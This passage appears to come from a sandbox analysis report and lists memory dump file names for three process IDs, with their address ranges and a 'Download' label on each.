          memory/2808-70-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-69-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-68-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-67-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-66-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-65-0x0000000140000000-0x000000014045E000-memory.dmp
          Download

          memory/2808-64-0x000002D71C410000-0x000002D71C423000-memory.dmp
          Download

          memory/3356-23-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/3356-21-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/3356-11-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/3356-22-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/3356-9-0x00007FFE519BF000-0x00007FFE519C0000-memory.dmp
          Download

          memory/3356-10-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/3356-27-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/3356-24-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/3356-14-0x00000166F7300000-0x00000166F7322000-memory.dmp
          Download

          memory/3356-15-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/3356-16-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/3356-20-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/3356-19-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/3356-18-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/3356-17-0x00007FFE51830000-0x00007FFE521D4000-memory.dmp
          Download

          memory/5808-33-0x000001CB1EF10000-0x000001CB1EF2E000-memory.dmp
          Download

          memory/5808-36-0x000001CB1F140000-0x000001CB1F15E000-memory.dmp
          Download

          memory/5808-35-0x000001CB1ECD0000-0x000001CB1ECDA000-memory.dmp
          Download

          memory/5808-34-0x000001CB1EF30000-0x000001CB1EFE2000-memory.dmp
          Download